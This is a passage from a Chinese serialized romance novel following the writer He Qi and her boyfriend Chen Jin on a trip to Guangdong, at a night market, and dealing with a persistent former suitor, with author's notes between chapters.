好在她知道自己几斤几两,没把全部的时间都花费在长篇上,邮箱里还是会有短篇过审的邮件出现。 至于李秀兰,何漆算是摸出了和她相处的唯一要义,那就是厚脸皮。 被嘲讽了先装看不见,然后虚心向她讨教,李秀兰就会用刻薄的语言指出缺点所在,听不懂的就继续问,别的都不要紧,反正李秀兰总会回,领悟之后再谢谢麻烦一条龙,等着下一次被杀稿后的羞辱降临。 何漆原先还受不住她那种冷嘲热讽,基本草草结束话题,然而次数多了时间长了倒也慢慢练出来,发现只要无视打击,还是能从李秀兰那儿学到不少东西。 十点刚过半,玄关处响起开门的动静,光从脚步声中就能听出陈津的疲惫。 何漆正躺在沙发上看电影,闻声拿遥控按了暂停,起身往外走,打了个哈欠:“回来了?” “嗯。”陈津嗓音低沉,眼皮没什么精神地耷拉着,走过来从正面抱住了何漆,垂下脑袋用脸颊蹭她的头发。 何漆对这个拥抱稍有诧异,但没说什么,摸到了他泛凉的手背,轻声道:“去洗澡吧,早点睡。” “嗯。”陈津又顺从地应了一声,却迟迟没有动作,呼吸在她耳朵附近深深浅浅地起伏,半晌才忽然问,“想去广省玩吗?” 何漆一时没听懂,反问:“什么?” “下周一去,待两天,想去吗?” “怎么突然说这个?” 陈津沉默下来,没立刻回答。 何漆便从中咂摸出不对劲,从他的怀抱里退开一点距离,抬头看他,认真发问:“有什么事吗?” 陈津摇了摇头,似乎是想做出个微笑的表情,但嘴角没能勾起来,只有唇线平直地拉长了些。 “没事。”他说,“项目的合作方那儿有点小问题,要去技术对接一下,找组里的人去就行了。” 何漆这会儿终于听明白了:“出差?” 毫无征兆地,陈津侧头在她脸颊上亲了亲,一手捏在她的颈后,大拇指的指腹蹭着她颈侧的皮肤:“让徐启航和老李去。” 何漆没明白这是哪出,张嘴还要问,陈津却比她更快地直起了身,去拿浴巾准备洗澡,好似后悔提起这事,不想再让她追问。 在床上心不在焉地翻了会儿书,何漆还是对刚才那事儿耿耿于怀,等着陈津从浴室里出来躺到她身边,摇了摇他肩膀不让他睡:“你说清楚点,到底是谁要出差?” 陈津闷闷地回答:“不是什么大事,谁去都行。” 他态度那么不明确,何漆自然也就悟出来,毕竟说是跟合作方有关,恐怕最好是陈津亲自去一趟,然而不知道是什么原因,让他在这儿跟自己打起谜语。 “工作的事儿你别瞎闹。”何漆边训他话,边琢磨他是什么情况。 陈津这工作虽说不至于隔三差五待在飞机上,但必要时候出个差也是在所难免,何漆早就习惯,疑惑他怎么这时候不情愿走了。 卧室里静了须臾,就在何漆以为他把自己的话听进去了,打算关灯时。 “那你想去吗?跟我一起。”陈津问。 何漆不理解地蹙眉,侧脸看他表情,发觉陈津眼睫低垂,一副失落不安的样子,她出口的话没变,语气不自觉软了一分:“你威胁我吗?难道我不去你也不去?” 她靠着枕头姿势半躺,陈津倏然翻身,手臂自然地环住她的腰,两具身体毫无空隙地贴在一起。 陈津的体温高一些,何漆觉得横亘在她腹部的小臂又沉又烫。 “说话。”何漆压根推不动他。 陈津自从左手好了之后就显得格外粘人,好像打着石膏的那段时间将他禁锢坏了,重获自由之后变得特别喜欢动手动脚。 他眼下搂着何漆的腰,把她往自己这儿捞得更紧了些,鼻尖碰着何漆的睡衣,呼出的热气都快把那一小块面料闷热,坚持问:“去吗?陪我。” 何漆从始至终确实还没回答过这个问题,起码没有明确说过自己不去。 她对出远门游玩兴趣不大,但也不是一定要宅在家,如今办公场所无需固定,就当采风陪陈津去也没什么,更让人在意的是他突如其来的高需求。 何漆被抱得浑身发热,妥协道:“会不会打扰你同事?别搞得人家很不自在。” “跟徐启航去,他不在意。”陈津迅速拿过手机订机酒,不给何漆反悔的 余地,“白天你可以逛逛,我要晚上才能回酒店。” 何漆凑过去想看机酒的信息,半个身子都趴在陈津身上,又被他的一条手臂整个圈住腰。 陈津手上的动作越来越快,利索地处理完后倒扣了手机,下一秒按住何漆的后腰,让她趴在自己身上不能动弹。 何漆的两只手都抵在他一侧的肩膀与胸膛一带,四条腿在被子底下起起伏伏地缠在一块。 她呼吸愈发炙热,急促地喘过两次后,陈津就掐着她的腰吻了下来。 睡衣被撩起一大截,忽轻忽重的揉搓中,何漆打着激灵拱起脊背,细若蚊吟地问:“不睡了?” 陈津的嗓音像刚被砂纸打磨过,在她耳边响起:“嗯,晚点睡也没事。”—— 作者有话说:感谢小天使们的霸王票和营养液[撒花] 第44章 当天是一早的飞机,何漆昨夜没怎么睡好,去机场的路上都在迷迷糊糊地补觉。 候机时跟徐启航在休息室碰上头,他也顶着俩浓浓的大黑眼圈,看到两人走过来才勉强打起精神:“津哥,还有嫂子,又见面了!” “打扰你们工作了。”何漆不好意思地朝他笑了笑,又问,“吃过早饭吗?刚刚多买了汉堡和豆浆。” “正好没来得及吃,一点都不打扰,嫂子你别因为我拘束就好了。”徐启航乐呵呵地接过还有热气的打包袋,半点不见外。 何漆见状放下心来,整个人又透出股淡淡的困倦,陈津看了眼登机信息,拉着她坐下:“还有一会儿要等,你继续睡吧。” “我也得眯会儿。”徐启航三下五除二地把汉堡塞进嘴里,拿过沙发上的抱枕垫想当枕头,觉得不舒服又丢开,伸手将衣服的帽子拎起来一点,团巴团巴垫在脑后,闭着眼道。 陈津没出声,左侧的肩膀已经靠上了个脑袋,何漆的几缕发丝跑到了他脖颈的地方,有点痒。 提前查过广省这几日的天气,温度全都直逼三十,何漆特意把家里春夏的薄衫给翻了出来。 江市虽然温度没那么高,但最近太阳都不错,这样穿着在户外也不会太冷,何漆嫌麻烦就没另外带外套。 然而机场照不进太阳,大片的瓷砖更让人体感阴凉,她手掌的温度渐渐降下去,困得不想说话,摸到陈津温热的手后便很快钻进了他的掌心。 男人较高的体温源源不断地传输过来,意识模糊前,何漆听到陈津似乎在跟谁说话,声带的震动骨传导到她这儿简直像种助眠,紧接着,有人往她身上围了条毯子,她彻底安心地入睡了。 不知过了多久,何漆被唤醒,肩上的毯子随着她伸展的动作滑落,陈津接住放到一边:“先登机,等等再睡。” 她整个人还恍惚,被陈津牵着站起来,工作人员轻声细语地领着三人登机。 等上了飞机,何漆的困劲还没过,直接平躺在座椅上,又昏沉地入睡了。 航班总共三个小时,何漆这一觉睡得舒服,提前半个小时自然醒,要了份简餐,等吃完就差不多该下飞机了。 落地后,三人先带着行李入住酒店,何漆与陈津住同一间房,徐启航在隔壁。 跟合作方还约了下午的会面,陈津在酒店里简单收拾了一下就得出发。 他看了眼坐在沙发上的何漆,她下飞机时刚收到韩洛的消息,此刻拿出了电脑,正在专注处理文稿。 “可能要晚饭后才能回来。”陈津走近她,顺手拿了个桌上的橘子,剥干净后掰成三瓣,正好适口的大小,递到何漆嘴边,“下午先自己逛逛?” 何漆张嘴咬走了橘子瓣,酸甜的汁水在口腔中炸开,手指隔空戳了戳电脑屏幕:“估计要改半天,有空再说吧,晚上去夜市也行。” “好,那我走了。” 陈津嘴上这么说,身体却半点没动,还站在沙发前低头看她,甚至都没挪步先去洗掉手上沾染的橘子汁。 何漆简直被他这莫名的黏人劲给逗笑了,不得不把目光从屏幕上挪走,抬头眯着眼望他,嘴角噙着笑:“再见,陈津,晚上见。” 她故作正经地逗人,陈津没买账,挪着步子继续往前,直到小腿抵上沙发,两人近得不能再靠近。 他把双手背到身后,骤然弯下腰,和何漆亲了一下,唇上便挂染极淡的橘香。 蜻蜓点水的触碰,然而陈津的双眸依旧垂着,似乎随时都要重新深入。 “快走快走。”何漆往后仰倒,扯开距离,用脚背轻踢他的小腿,催促道,“我也要工作了。” 陈津这才不紧不慢地直起身,去卫生间洗了个手,看了何漆最后一眼,默默出门了。 听见房门关合的“咔嚓”声时,何漆在浏览器里搜索的“男朋友突然变得高需求是什么原因”恰巧跳出结果。 第一条是ai助手整合的详细回答,她认真看了两行就发现有点不对劲,略感无语地琢磨了一下用词。 这搜索引擎自动将“高需求”理解成了生理需求,从各方面为何漆提供了和谐性。生活的健康知识。 她只好重新点回搜索栏,加了两个字。 “男朋友突然变得情感高需求是什么原因”。 这回还像话,跳出来的结果里只有一小段是关于生理高需求的。 第一点,荷尔蒙和激素水平。 何漆懒得看。 第二点,压力与依赖。 是说对方可能在事业或其他方面正遭受压力,所以想从伴侣身上获得无条件支持的出口,以寻求情绪稳定。 感觉没这个问题,继续。 第三点,缺乏安全感。 如若对方察觉到双方感情的冷淡,也可能通过“高需求”来试探你的关注度,属于一种情感上的“求证行为”。 缺乏安全感? ……陈津? 真的假的? 何漆原本也就随便查查,压根没觉得能看到什么有建设性的提议,粗略地扫了几眼回答,全都无趣得很,果断退出了浏览器把注意力拉回工作。 一下午的时间过得很快,她在晚餐前完成了修改,发过去后还要再等核对,工作的事便暂且告一段落。 一个人也不想再出门多折腾,何漆索性点了客房服务,吃了碗酒店提供但味道一般的海鲜面。 七点过半,夜幕降临。 房间内的落地窗可以俯瞰繁华夜景,但何漆并无兴致,依旧保持着盘腿的姿势,在沙发上用微信跟李家佳聊了会儿天,顶部的消息栏突然跳出提示,显示陈津刚刚给她发了张照片。 点击后跳转聊天界面,涂鸦头像发来的那张图片拍得非常随意,画面正中心是一个门把手,上头还挂着“请勿打扰”的牌子。 何漆却一眼就懂了。 这正是他们酒店房间的大门,刚刚保洁人员来过一次后她就在门口挂上了这提示牌。 她从沙发上一骨碌站起,磕磕绊绊地穿上酒店拖鞋,大步走去开门。 陈津早已好整以暇地靠在门外,两手搭在兜里,衬衫最上头的扣子解开两粒,可能是洗过脸,头发沾了水顺势往后捋,露出凌厉的眉骨。 他身量高,姿态随意,身上浓重的酒气扑面而来,带着叫人措手不及的侵略性。 然而这危险的气息在何漆对上他的眼睛时便瞬间消散了个干净。 陈津的神色温柔带笑,中和了五官锋利的气质,看到何漆鼻尖轻嗅后微微皱眉,他立刻指了指自己的衣摆,那里有一片颜色较深,显然被什么浸湿了。 “饭局的人打翻了酒杯。”陈津解释。 何漆不是很在意这个,把房门打开的幅度拉大,往侧边站了点,示意他赶紧进来:“快点换衣服洗澡。” 陈津听从,因为不想把酒气沾染到何漆身上,就没有和她挨近。 浴室的门一开一合,淋浴的声音被完全隔绝,何漆又回沙发上等了一会儿,陈津出来的速度竟比预想中快。 他穿着酒店最大号的浴袍,腰上的带子系得松松垮垮,锁骨一片完全没得遮掩,还透着热汽的红。 仿佛心里有了什么盘算,陈津目标明确地路过何漆面前,走到衣柜安放了行李箱的地方,在打开的箱子里翻衣服。 何漆不由又看他两眼,而陈津毫无征兆地直接扯掉腰上的带子,脱了浴袍。 脖颈到肩,背部到腰,几滴没被擦干的水珠顺着他的肌肉线条滚落。 何漆眼皮一跳 。 陈津忽然套头穿上了手里刚拿出来的新T恤。 哈? 何漆没明白,问他:“你还要出门?” “嗯。”说话间,陈津已经把裤子也给提上了,转过身回答,“去夜市。” 何漆愣了愣,慢半拍地反应过来,是两人下午分开前,她说的晚上可以去夜市玩。 “合作伙伴里有本地人,说这旁边就有条很热闹的夜市。”陈津穿戴整齐地走过来,身上氤氲着沐浴露干净的香气,看何漆略微出神的样子,情不自禁伸手碰了碰她的脸,“走吧,我喝了酒不能开车。” 夜市距离确实不远,两人跟着导航很快开到了地方,不过附近有点难停车,何漆折腾了一会儿才找到个收费停车场。 各种食物混杂的香气传了好几条街,花花绿绿的招牌挨着挤着连成片。 每个摊位前几乎都有驻足购买的顾客,人群熙熙攘攘,叫卖声不绝于耳。 何漆原本不算特别饥饿,然而闻着炭烤油炸的香气,顿时又不争气地什么都想尝尝。 拥挤的街道里,陈津紧紧牵着她的手,被她带到一个又一个热气升腾的摊位前。 才逛了小半路,陈津的另一只手里就多出了好几个塑料袋,羊肉串、大鱿鱼、烤鸡腿、锅包肉,还有些糖水甜品。 每一样买到手何漆都吃了小半,眼下肚子已有八分饱,她又逛到了一个烤生蚝的摊位前。 摊主是个胖胖的中年女人,戴着透明口罩,正往还在炙烤的生蚝上面添蒜蓉,见两人驻足,立刻吆喝:“美女,看看吃什么?” 生蚝的鲜甜与蒜蓉的辛香交融,何漆有点馋,但清楚知道自己恐怕吃不下多少了,侧头问陈津:“你吃吗?” 胖女人听到他们的交谈,又抬眼扫过两人的着装与紧挨的姿态,笑着大声道:“诶呦美女,跟你老公买点吃喽!来逛夜市不吃我家生蚝会后悔的!” 烤架下的炭火往上熏着白烟,软嫩的生蚝肉被高温灼出汁水,喧闹的交谈声在耳边一刻不停地刮过。 夜色并没有为这个城市带来多少凉爽,空气浓稠得好像不会流通,每个人身上都闷出一层黏腻的薄汗。 陈津闻言没有任何举动,仿佛压根没听到这句话般,唯有与何漆十指相扣的手指轻轻蜷缩了一下,指腹蹭在她的手背上。 反观何漆,她因为摊主的称呼微微一怔,却旋即笑开来道:“那就买吧。”—— 作者有话说:感谢小天使的营养液 第45章 生蚝摊后头有一小片桌椅,专门提供给想要坐着吃的顾客,何漆本就没剩多少肚子,加上逛得也有些累了,索性跟陈津一起去那边找了个空位坐下。 拎了一路的食物总算有地方放置,陈津重新把那碗冰凉的糖水打开,推到何漆面前。 何漆立刻挖了一大勺清凉补送进嘴里,甜滋滋的味道冲刷着口腔,她又拿了羊肉串吃起来。 胳膊上突然有点痒意,何漆扭头,正好看到一只蚊子停在她的手臂上,然而她的另一只手里还拿着食物,没法第一时间拍上去,只能挥了挥把蚊虫赶走。 “怎么这个月份就有蚊子了。”何漆对蚊虫有点过敏,方才那蚊子咬过的地方瞬间红了一大片。 陈津见状连忙把她的手臂拉过来,摊主正好在给旁边一桌送生蚝,顺便把准备的驱蚊水给他们:“天气热就是这样的,涂上这个会好点。” 陈津道谢接过,拔开盖子,先将喷头对准何漆手臂上迅速肿起的蚊子包,按压两次,略带刺激性气味的液体就喷洒在她的皮肤上。 不知是不是其驱蚊的效果激发了何漆趋利避害的生物本能,反正她一直对驱蚊水的各种气味都有天然的好感。 露珠状的液体出现在她的皮肤上,挂不住后就开始顺着往下流,陈津屈指把那一片的驱蚊水均匀涂抹开,问道:“痒吗?” 何漆不知道怎么说,蚊子包有点痒,他抚摸自己皮肤的动作也有点痒,只好低头喝糖水,含糊道:“嗯,还行。” 周围依旧有小飞虫经过,何漆穿着半袖,会被咬的空间还有很多。 所以陈津没有放开她的手,从上到下把她的手臂全喷了一遍,仔细涂抹完又说:“另一只。” 何漆就换了只手拿勺子,把还没做过“驱蚊水腌制”的另一条手臂伸过去。 不过这姿势太别扭,不太好涂,陈津便毫不犹豫地起身,拿着椅子换到何漆的另一边。 两条手臂都涂抹完,何漆觉得自己整个人都散发着一股浓浓的草药气息,陈津却还嫌不够:“腿伸出来。” 这就没必要了吧,何漆说:“我穿着长裤。” “脚踝容易被咬。”陈津见她不动,弯腰勾着她的小腿肚,把她的腿捞出来放在自己膝盖上,撩起一截裤腿,往她的脚踝上喷完再小心地放回去。 就在何漆以为总该结束时,陈津把驱蚊水喷到手心里,两掌合在一起摩擦了两下,对她道:“脖子。” 何漆这下也不反抗了,识时务地仰起头,陈津凑近,用掌心认真蹭着她的脖子,连带耳后一块也要抹上。 “好了。”陈津完成工作,把驱蚊水的盖子盖回去,趁摊主给他们上烤好的一盘生蚝时还东西。 摊主隔着口罩也能闻到何漆从头到脚散发的草药味,摆手笑道:“你们先拿着吧!美女,你跟你老公感情可真好!” 何漆刚拆了双一次性筷子,闻言自然地冲摊主笑了笑。 小摊的生意忙,她也没法跟何漆二人久聊,才说了这么一句话,又赶紧回去摊位工作了。 绿色瓶身的驱蚊水还摆在桌子的边缘,何漆轻咳了两下清嗓:“你不涂吗?” “我不用。”陈津说着,拿了一个还滚烫的生蚝,垫着烤鸡腿的包装袋放到何漆面前。 何漆小心地捏住生蚝壳的边缘,用筷子把里面饱满的肉夹出来,吹掉两口热气,迫不及待地塞进嘴里。 舌尖被烫得轻微发麻,她反复往嘴里吸气,空了的生蚝壳被侧边伸过来的一只手拿走,陈津又放了个新的给她。 何漆喝了两口矿泉水给口腔降温,侧头看陈津安静斯文的吃相,忽然没头没脑地问了一句:“你不开心?” 陈津似乎也诧异于她的问题,与她对上视线后不自觉地轻微挑眉:“没有,为什么这么说?” 为什么这么说…… 何漆把视线收回来,突然感到好饱,无所事事般用勺子搅了搅糖水。 她意识到自己所说的“不开心”并不是指低落难过,而是在听到摊主对他们之间关系的称呼后,陈津表现得太过平常,没有她预想中或多或少的窃喜。 西米在椰奶里快速旋转着,随着何漆放下勺子的动作才渐渐趋于平缓,最终沉没不见踪影。 何漆把脑袋往边上靠了靠,抵在陈津的肩头。 广省的天气,人和人挨得近些都嫌热,更别提把皮肤贴在一起,汗津津得不会舒服,但两人愣是没挪开。 炎热令人丧失思考的欲望,何漆的目光凝在半空中的一个点,脑中的思绪都融化成一片,纠结不出什么,她抬眼看向不远处胖女人的背影,还是选择问出口:“她那样叫你,你不开心?” 何漆终究没有把话说得太明白,但陈津显然听懂了,肩膀僵硬了一瞬,接着默默放下筷子。 街市闹哄哄的,依靠的两人成了天地间连接在一起的唯一静物,何漆听到很大的心跳声,应该是她自己的。 短暂的沉默后,耳边响起了低微的嗓音。 “我表现得 开心的话,你会生气吗?” 何漆怎么也没想到会是这样的回答,她的脑袋愕然地离开了陈津的肩膀,侧目与他对视,看清了他眼神里的担忧和退缩。 陈津甚至有些后悔说出了刚刚那句话。 何漆在此刻恍然惊觉,她与陈津的逻辑链条有着不小的误差。 在两人共同作用的齿轮还没有损坏之前,她对待婚姻的态度无比抗拒,再加上家庭的压迫,她处于极度紧张的状态,相关的任何词汇都有可能触发她的应激反应。 陈津一向小心,却在何漆生日的前一天失去了理智,明知后果还是触碰了她的雷区,这是何漆最不能接受的事情。 他们各自承担了后果,也重新做出了选择。 创伤后又自我疗愈,何漆的成长经历赋予了她这种强大的能力,甚至还在撞倒南墙后脱了敏,能够用比以往更从容的姿态面对这件事。 所以才会原谅陈津,试戴那枚戒指,听到别人称呼陈津为她的“老公”也不在意。 她想她的心不会因为这些小事动摇,所以不必感到被冒犯。 但陈津并不知道,或者察觉了也不敢冒险,他还停留在那一次的创伤里,尝到了苦果的滋味,便加倍地谨慎小心,不惜做出掩耳盗铃的蠢态。 这是他们之间错乱的时差,必须要手动对齐颗粒度。 “我不会生气。”何漆看着陈津的眼睛,认真地告诉他,“你听到了吗,我说我不生气。” 何漆见陈津一动不动地愣神,以为他听不懂自己话里的意思,正措辞怎么解释:“就算你表现得开心,我也不会……” 陈津的眼睛猝然笑弯了,像一个反射弧很长的人终于反应过来五分钟前的那个笑话。 何漆盯着他闪着碎光的眸色和轻轻抿起的唇,整个人仿佛被震住般,有些羞赧,瞥开眼后又很快瞪回来,心脏跳得人发慌:“很好笑吗?” 陈津嘴角勾起的弧度更大了,在何漆放大的瞳孔中朝她靠过去,却没有亲,只是伸手抱住她,脸颊和耳朵蹭得人要命得心软。 “我听到了。”陈津说,“我听到了……” 心脏涨得无限大,好似能把身体全部撑满,陈津脑海里蹦出很多他从前绝不会说的话。 他想说何漆你的心真软,何漆是全世界最好的人,可他又不想只叫何漆的名字。 “漆漆。” 陈津情不自已地喊她小名,感到何漆的脸正以不正常的速度热起来。 人类毋庸置疑是贪得无厌的生物,陈津甚至觉得连小名都不满足了,还要有更亲昵的称呼才行,叫人肉麻的…… 然而何漆推了推他的肩膀说:“这样好热。” 夜市没心思再逛下去了,两人很快开车回了酒店。 离开前何漆把“请勿打扰”的门牌取下,趁着他们出去的功夫,酒店的保洁人员进来打扫过一次。 何漆拿房卡开门,陈津跟在她后头,关门前又把那门牌挂回门把手上,何漆看见了,没说什么。 “咔嗒”一声,房门合上,屋内的灯光全部亮起来。 何漆预判到陈津要从背后抱她的腰,快步往前冲了一段路,在茶几边拿了矿泉水灌下两口:“洗澡,身上都是汗。” 陈津不紧不慢地跟过来,用手指揩掉了何漆唇边的一点水渍,看她把水放下后,立即把人抱了起来。 何漆被迫坐在他的手臂上,上半身趴在他的肩头,咬了咬唇,打从心底感到燥热,气势稍弱地问:“干什么。” 陈津托着她往浴室走,正色回答:“洗澡。” 陈津很兴奋,几乎愉悦得过了头,何漆能感受到。 她双手死死扒着陈津的背,提了好几次“关灯”,陈津都像是听不见,反而取下她的两只手腕,圈在右手手掌里。 包装袋拆了好几只扔在床头,何漆明明已经脱力,身体里却止不住地涌过一阵阵战栗,连牙关都在打颤,气息虚弱道:“陈津,你别太过分。” 陈津闻言便停下来,低头吻她,给她缓冲的时间:“嗯,你不要生气。” 何漆不确定他这话是不是在打趣自己,眼前水汽一片,只能朦胧看到陈津是有笑意的,于是狠心咬了他一口。 她也没多用力,却惹得陈津倒吸了一口气,按在她腰上的手重了几分力道,连身体里都变得涨。 陈津自己也发现了,松开了何漆的手,俯下身将她整个抱进怀中,安抚地摸了摸她的头。 何漆的喉间溢出克制的哭腔和一连串陈津的名字—— 作者有话说:感谢小天使们的营养液~ 第46章 第二天中午才有工作安排,陈津却神清气爽地起了个大早,洗漱完把房间整理了一下,主要是丢掉床头的包装袋和垫过的一次性浴巾,接着轻柔地喊何漆起床。 何漆其实早被他的动静吵醒,但压根不想理他,隔着被子朝他的方向踢了一脚,连眼睛都懒得睁开。 陈津殷勤地替她按摩起小腿,承接她的怨气,继续道:“先去吃早饭吧,我把床单收拾起来,待会让保洁换一下,还是你要待在房间里?” 何漆闻言一骨碌起身,赶紧进卫浴洗漱了。 酒店提供自助早餐,他们在餐厅里遇到了刷着手机已经吃到一半的徐启航,三人便在同一张桌坐下。 徐启航从昨晚回来开始就没打扰过他们二人,连来吃早饭都是一人独行,何漆主动跟他寒暄:“昨晚休息得怎么样?” “这酒店舒服,睡得特别好。”徐启航嗦了口意面,真心赞叹,“我就乐意跟津哥来出差。” 何漆点点头,听到陈津和徐启航聊了几句工作上的事,便安静地在一旁给面包抹果酱,例行查看了邮箱。 等吃完早餐回房间的路上,徐启航又客套地说起晚上就得飞回江市,没能一起出去逛逛觉得可惜,陈津顺势提议晚饭可以出去吃,反正工作在饭点前就结束了,何漆表示没有意见。 在酒店里过完下午,昨天把车借给陈津用的合作伙伴载着三人到了一家本地人认证的餐厅,做东请完客后又客气地把他们送回了酒店。 收拾完行李就差不多该去机场了。 何漆在房间里清点物品,确认没有落下的东西,陈津却突然从背后抱住了她。 “你都整好了?”何漆嫌他太腻歪,想扯开他环在自己腰上的手臂。 “嗯。”陈津应一声,反捉住何漆的手指,问她,“我们再多待一天吧?我可以请假。” “为什么?”何漆发觉陈津胡闹的次数越来越多了,没把这句话放心上,思索刚刚摘下来的皮筋丢哪了。 “我觉得这里很好。”陈津说,“我们搬过来住吧。” 何漆被他吓一跳,摸到他手腕上套着自己的皮筋,用一根手指挑起来,弹了一下他:“你要不要这么极端,喜欢下次再来玩不就好了。” 陈津又闷闷地“嗯”了一声,松开手臂,帮何漆把头发扎起来:“感觉过来之后什么都很好。” 何漆随口反问:“哪里好?” 陈津说:“我们。” 最终何漆当然没有由着他胡来,陈津的理智尚且也还在线,三人打专车去了机场,十二点前落地江市,短暂的广省之旅就此结束- 那之后没多久,陈津小组的项目就顺利结束,他当天凌晨三点才到家,穿过黑漆漆的客厅回自己房间洗漱,竟意外看到屋内点着一盏小灯。 何漆扎着凌乱的丸子头,倦容尽显的脸上架着副黑框眼镜,电脑摆在她曲起的大腿上,手边还有两杯只剩一点底的咖啡,她整个人则陷在特意从自己房间拖来的懒人沙发里。 困倦让她听觉的敏锐度降低了很多,直到陈津走进房间,何漆才有所察觉地抬起头,迟钝地冲他笑起来,小声道:“辛苦了。” 陈津只觉得有股酸软的暖意从心脏蔓延开来,他看着何漆合上电脑,弯腰将她打横抱起,轻轻放到床上,问:“怎么不睡?” 何漆沾了床眼皮就开始打架,声音越来越弱:“文稿快写完了……” 等了不过十余秒,何漆的呼吸就在他眼前变得均匀缓慢,她彻底睡过去了。 陈津在床边坐下,手掌抚着她的半张脸,指腹摩挲她的皮肤,闭上眼深深 缓出口气,仿佛这样就能把所有疲惫从身体里清空,好半天才开口对已经听不见他说话的何漆道:“你也辛苦了。” 项目完成,陈津获得了准点下班的限时体验卡,开始变着花样地在家里准备晚餐。 何漆的饭量总在看到餐桌上色香味俱全的食物后激增,她怀疑就这么几天的时间,自己说不定已经胖了不少。 这天吃完晚饭,陈津收拾碗筷到厨房,何漆跟着去冰箱里拿饮料,开了瓶柠檬味的汽水,靠在一边看陈津把餐具摆进洗碗机。 她不知想到什么,突然把两手握在一起,好笑地做了个抱拳礼,说了句吉祥话:“恭喜发财。” 陈津刚把洗碗机设置好,直起身看她,不解地问:“怎么了?” “公洗发财啊。”何漆一想到自己要说什么就忍俊不禁,“李家佳之前跟我说的,老公洗碗会发财。” 陈津怔了一瞬,瞳孔都错愕地颤了颤,反应过来后的眼眸里溢出很深的笑意,单手撑着大理石台面,朝何漆俯身吻了下去。 何漆双手抵住他的胸膛,嘴里残留的汽水甜味都被他清扫汲取,感到陈津的呼吸开始错乱时,她及时抽身:“累死了,我们保重身体好吗。” 陈津无奈答应,何漆则拿走汽水出了厨房,到客厅里去看影片。 收拾完厨房餐厅,陈津又早早地去洗澡,百寸巨幕上在播放一部动物纪录片,何漆正看得入迷。 腿边的手机响了一声,她抽空低头看了一眼,发现是李秀兰的消息。 她最近确实有几篇新投稿的文章,大概是哪里又让李老师不满意,特此发来批评了吧。 没办法,李秀兰的优先级显然高于眼前这部纪录片,何漆回神,解锁了手机。 然而消息的内容却并非她预想的那样。 「方翊恳求我告诉你,他在你们第一次见面的地方等你。建议你处理好自己的感情问题。」 如遭雷劈般,何漆愣在原地,耳朵霎时羞耻地发烫,心底升腾起一种不可思议的怒火。 方翊?他怎么敢,怎么敢把事情捅到李秀兰那儿? 何漆大脑还一片空白,耳边隐隐有嗡鸣声切断她的思路。 她现在的心情就好比一个勤奋上进的乖学生,突然被班里的关系户暗恋了,原本的一些小打小闹她都还能忍受,结果这关系户眼看走投无路,竟然找上班主任帮他牵线搭桥? 这要让李老师怎么看她?! 愤怒的情绪渐渐被一种不可理喻的无奈取代。 何漆还没想好怎么回复,对面就又发来新的消息。 「据我所知你现在并非单身状态?」 何漆整理了一下心情,飞速打字。 「是的李老师,我有男朋友,很抱歉因为我的私人问题打扰了你。」 李秀兰今天显得格外好说话,语气都像个开明的长辈。 「嗯,自己做好选择。还有,长篇可以继续尝试。」 「谢谢李老师,我知道了。」 何漆摸了摸脖子,被李秀兰这突如其来的鼓励给搞懵了,甚至怀疑是不是方翊或者李乐一偷了李秀兰的手机。 心情有点乱套,何漆一时想气又气不起来,想高兴却还有方翊那茬烦心事等着。 她叹着气,反复琢磨那几条对话。 ……他们第一次见面的地方。 何漆记起来,是她辞职的那天,在家里和陈津不欢而散后,跟李家佳去的那家酒吧。 她纠结地反复揩着嘴唇,最终下定决心—— 得去。 不光得去,还要斩草除根、永绝后患地去。 不然等着他一次次闹到李秀兰那里吗?搞笑,她还在不在回声混了。 何漆从沙发上站起来,绕着客厅踱步了一圈。 问题是到底要怎么样才能让方翊死心? 何漆对他说过的狠话绝不在少数,有时候连自己都有些于心不忍,每每觉得方翊这回总该放弃时,他又会满血复活地出现在何漆眼前,然后不知天高地厚地表示感情是不受控制的。 真的很不懂事。 何漆略微焦躁的目光落在陈津开着灯的房间里,她想起个东西。 卫浴的隔音很好,从花洒喷落流淌的水声传不出来,何漆在床头柜翻找的动静也传不进去。 陈津在里面洗漱已经有一段时间了,指不定过多久就会出来,何漆的动作因为着急而过分用力。 打开藏在抽屉最里面的红色盒子,把圈口较小的那枚戒指往左手中指上套住,再匆忙把床头柜还原。 整个过程不到半分钟。 来得及。何漆告诉自己,等出门以后再跟陈津说一声吧,来得及的。 她宛如逃避着什么,争分夺秒地从地毯上站起来,然而才刚刚转身—— “咔嗒。” 浴室的门开了。 陈津只穿了条睡裤,拿着浴巾边擦头发边走出来,看到何漆呆呆地站在他的床边,笑问:“今晚睡我这里吗?” “嗯……”何漆反应不及地随口应了一声,不动声色地把左手往身后藏了一点,心慌让她的头脑比方才看到李秀兰的消息时更加空白。 陈津等了会儿,见她没有要挪步的意思,疑惑道:“怎么了,不去洗漱吗?我帮你把睡衣拿过去?” 何漆立刻摇了摇头,硬着头皮说:“先不用,我现在、现在得出去一趟。” “现在?”陈津拿手机看了眼时间,以为她遇到什么急事,皱眉道,“去哪里?我陪你。” “不用。”何漆脱口而出。 她稍有变调的嗓音和迫切干脆的态度令陈津更加生疑。 僵持不下的对视中,何漆摸了摸左手中指指根处的冰凉质感,调整着呼吸,让自己看起来平常一些。 “有什么事我们可以一起处理。”陈津在狐疑中冷静地试探她。 说吗?还是不说? 何漆心底有个声音一直在撕扯—— 不能说,起码现在不要说,最后一次了,处理完就都结束了,现在坦白不知道还会牵扯出多少麻烦。 不用说,多一事不如少一事,真要说清楚可有够头疼的,暂且糊弄着试试吧。 她喉间滚动一次,再抬眼时已经平稳下来:“我……我确实有事得出去一趟,一个人就行,回来再说吧。” 依旧语焉不详,陈津不愿放人,想抓着她问清楚。 可恍惚间,他的视线飘了一瞬,捕捉到何漆不自然的左手,那里似乎有若隐若现的银色光泽。 他以为自己眼花,不可置信地眯了眯眼,何漆却好像同样注意到,忽然把左手握成了拳。 那点不确定是否真实存在的金属被刻意掩埋在五指之间。 “我先走了。”何漆匆匆往外逃。 陈津盯着她的背影,居然放任她离开,没有任何动作。 直到玄关处传来急促的换鞋声,大门被轻轻地打开又关合,陈津猛地走到床头柜前蹲下,拉开了第二个抽屉。 红色盒子第二次打开,被一双手放在柜面上,里面已是空空如也。 陈津的神色晦暗不明,整个人浸着一种难以靠近的低气压。 他果断换好衣服,乘电梯下到车库,等视野里的出租车开上主干道,才隔着很远的距离缓缓跟车。 双手不安地握在方向盘上,因为还不适应,左手中指处被戒指禁锢的感觉分外强烈—— 作者有话说:感谢小天使们的营养液[垂耳兔头] 迟到了(主堡心虚 ps恭喜发财是网上刷到的梗 第47章 